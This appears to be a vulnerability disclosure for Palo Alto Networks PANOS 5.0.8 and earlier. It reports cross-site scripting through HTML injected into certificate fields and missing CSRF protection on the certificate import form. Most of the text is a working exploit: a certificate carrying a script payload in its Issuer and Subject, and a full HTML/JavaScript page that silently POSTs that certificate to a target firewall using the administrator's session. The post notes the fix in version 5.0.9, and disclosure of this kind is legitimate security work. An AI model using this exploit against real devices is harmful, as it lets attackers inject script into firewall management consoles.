Palo Alto Networks PANOS <= 5.0.8 XSS

A couple of bugs exist in Palo Alto Networks PANOS <= 5.0.8 which can be exploited to conduct cross-site scripting attacks.

    Certificate fields are displayed in the firewall web interface without proper sanitization applied to them. This way it is possible to inject html into the web interface.

    Various file upload forms used by the firewall do not implement proper CSRF protection. import.certificate.php for example. 



Example of a certificate containing html that will be rendered:

Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number:
            e5:67:53:d1:e4:2a:71:ec
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=XX, ST=<style onload="javascript:alert(1)" />, L=Default City, O=Default Company Ltd
        Validity
            Not Before: Oct  1 16:28:18 2013 GMT
            Not After : Oct  1 16:28:18 2014 GMT
        Subject: C=XX, ST=<style onload="javascript:alert(1)" />, L=Default City, O=Default Company Ltd
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
                Modulus:
                    00:b1:d1:b4:9a:58:5e:20:99:15:03:f0:38:e5:dd:
                    11:f1:f1:14:26:3b:aa:6e:6b:c1:c1:28:01:be:d3:
                    93:e8:b5:fb:2e:a8:89:b2:87:56:93:54:60:a6:0c:
                    40:85:31:f8:9d:fd:00:0e:2f:f1:58:e6:a5:8a:0a:
                    67:57:70:06:13:02:2e:68:44:8b:a1:23:b1:bd:27:
                    d4:88:9d:f1:44:76:65:bb:e4:70:b5:fe:9c:21:57:
                    6a:11:df:56:b5:5d:c7:18:b9:b1:9a:81:c9:ae:80:
                    16:9d:11:76:e1:6f:a8:94:dd:01:02:c7:87:7e:cc:
                    b0:06:69:d5:84:79:64:45:d3
                Exponent: 65537 (0x10001)
    Signature Algorithm: sha1WithRSAEncryption
        03:12:b6:12:74:67:8f:ac:e0:5f:02:31:b3:63:10:78:33:9d:
        5e:c0:14:d9:d9:f6:ab:17:45:d3:fa:37:b8:c6:15:7c:24:a4:
        83:61:c6:8c:92:1d:2b:2b:0d:f9:84:79:e7:db:26:07:63:e4:
        9b:3a:3c:5f:a4:31:99:4e:79:30:95:a3:ce:86:9c:09:fa:e0:
        3d:7b:c1:c4:ec:7a:79:b3:9c:7f:e2:36:3e:f2:40:cf:c0:57:
        b0:4c:99:18:76:14:23:30:da:b3:90:2d:cd:af:65:80:bc:db:
        db:3f:9e:44:a1:2e:5e:e2:29:83:ff:29:ec:17:df:8f:7b:55:
        5d:ed


Example html source code to CSRF POST this rogue cert :

    PA: <input type="text" id="url" value="https://10.10.10.22">
    <input type=button onclick="upload()" value="Upload Certificate"/>
    <hr>
    <textarea rows=80 cols=80 id=text>
    -----------------------------
    Content-Disposition: form-data; name="ext-comp-2304"
    on
    -----------------------------
    Content-Disposition: form-data; name="certFile"; filename="server.crt"
    Content-Type: application/octet-stream
    -----BEGIN CERTIFICATE-----
    MIICXTCCAcYCCQDlZ1PR5Cpx7DANBgkqhkiG9w0BAQUFADBzMQswCQYDVQQGEwJY
    WDEvMC0GA1UECAwmPHN0eWxlIG9ubG9hZD0iamF2YXNjcmlwdDphbGVydCgxKSIg
    Lz4xFTATBgNVBAcMDERlZmF1bHQgQ2l0eTEcMBoGA1UECgwTRGVmYXVsdCBDb21w
    YW55IEx0ZDAeFw0xMzEwMDExNjI4MThaFw0xNDEwMDExNjI4MThaMHMxCzAJBgNV
    BAYTAlhYMS8wLQYDVQQIDCY8c3R5bGUgb25sb2FkPSJqYXZhc2NyaXB0OmFsZXJ0
    KDEpIiAvPjEVMBMGA1UEBwwMRGVmYXVsdCBDaXR5MRwwGgYDVQQKDBNEZWZhdWx0
    IENvbXBhbnkgTHRkMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCx0bSaWF4g
    mRUD8Djl3RHx8RQmO6pua8HBKAG+05PotfsuqImyh1aTVGCmDECFMfid/QAOL/FY
    5qWKCmdXcAYTAi5oRIuhI7G9J9SInfFEdmW75HC1/pwhV2oR31a1XccYubGagcmu
    gBadEXbhb6iU3QECx4d+zLAGadWEeWRF0wIDAQABMA0GCSqGSIb3DQEBBQUAA4GB
    AAMSthJ0Z4+s4F8CMbNjEHgznV7AFNnZ9qsXRdP6N7jGFXwkpINhxoySHSsrDfmE
    eefbJgdj5Js6PF+kMZlOeTCVo86GnAn64D17wcTsenmznH/iNj7yQM/AV7BMmRh2
    FCMw2rOQLc2vZYC829s/nkShLl7iKYP/KewX3497VV3t
    -----END CERTIFICATE-----
    -----------------------------
    Content-Disposition: form-data; name="ext-comp-2306"
    Base64 Encoded Certificate (PEM)
    -----------------------------
    Content-Disposition: form-data; name="keyFile"; filename=""
    Content-Type: application/octet-stream
    -----------------------------
    Content-Disposition: form-data; name="bImportCertificateSubmit"
    OK
    -----------------------------
    Content-Disposition: form-data; name="certFileC"
    server.crt
    -----------------------------
    Content-Disposition: form-data; name="vsysC"
    shared
    -----------------------------
    Content-Disposition: form-data; name="passPhrase"
    -----------------------------
    Content-Disposition: form-data; name="keyFileC"
    -----------------------------
    Content-Disposition: form-data; name="certName"
    TPOLLET
    -----------------------------
    Content-Disposition: form-data; name="format"
    pem
    -----------------------------
    Content-Disposition: form-data; name="includekey"
    -----------------------------
    Content-Disposition: form-data; name="certType"
    device
    -----------------------------
    Content-Disposition: form-data; name="template"
    -------------------------------
    </textarea>
    <script>
    function upload() {
      text = document.getElementById('text').value
      host = document.getElementById('url').value;
      url  = host + "/php/device/import.certificate.php";
      xhr  = new XMLHttpRequest();
      xhr.withCredentials = true;
      xhr.open("POST", url, true);
      xhr.setRequestHeader("Content-Type","multipart/form-data; boundary=---------------------------");
      xhr.send(text);
      alert('check ' + host + '/#device::vsys1::device/certificate-management/certificates' );
    }
    </script>


These issues have been fixed in PANOS 5.0.9, mentioned in the release notes like this:

57343—Fixed an issue that caused improper handling of imported certificates that contained HTML.